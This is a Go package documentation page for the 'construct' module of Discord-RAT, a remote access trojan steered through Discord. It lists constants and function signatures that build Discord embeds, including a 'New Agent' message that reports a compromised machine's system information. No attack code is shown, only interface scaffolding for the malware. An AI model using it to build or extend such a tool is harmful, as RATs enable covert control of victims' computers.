construct

package
v0.0.0-...-f1bf7e6 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Jul 3, 2023 License: GPL-3.0 Imports: 3 Imported by: 0

Documentation

Overview

* This file is part of the Discord-RAT project. * Repository: https://github.com/codeuk/discord-rat * * Written by codeuk (github.com/codeuk) * * Discord-RAT is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Discord-RAT is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with Discord-RAT. If not, see <https://www.gnu.org/licenses/>.

Index

Constants

View Source
const (
	EmbedColor = 0x000000
	AvatarURL  = "https://avatars.githubusercontent.com/u/75194878?s=400"
	FooterText = "github.com/codeuk/discord-rat"
)

Images, URLs and other variables that are constant in the embed.

Variables

View Source
var EmbedFooter = &discordgo.MessageEmbedFooter{
	IconURL: AvatarURL,
	Text:    FooterText,
}

Standard embed footer to be used in every embed message.

View Source
var OSThumbnails = map[string]string{
	"Windows": "https://pngimg.com/d/microsoft_PNG13.png",
	"Linux":   "https://www.freepnglogos.com/uploads/linux-png/linux-logo-logo-brands-for-0.png",
}

Thumbnails to use in the New Agent embed depending on the systems operating system.

Functions

func ConstructHelpEmbed

func ConstructHelpEmbed() *discordgo.MessageEmbed

ConstructHelpEmbed Creates and returns the embed containing helpful resources for Discord-RAT.

func ConstructMenuEmbed

func ConstructMenuEmbed() *discordgo.MessageEmbed

ConstructMenuEmbed Creates and returns the embed containing the available commands.

func ConstructNewAgentEmbed

func ConstructNewAgentEmbed(agent agent.Agent) *discordgo.MessageEmbed

ConstructNewAgentEmbed Creates and returns the initial embed to be sent to the agents channel with its basic system information for identification.

Types

This section is empty.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL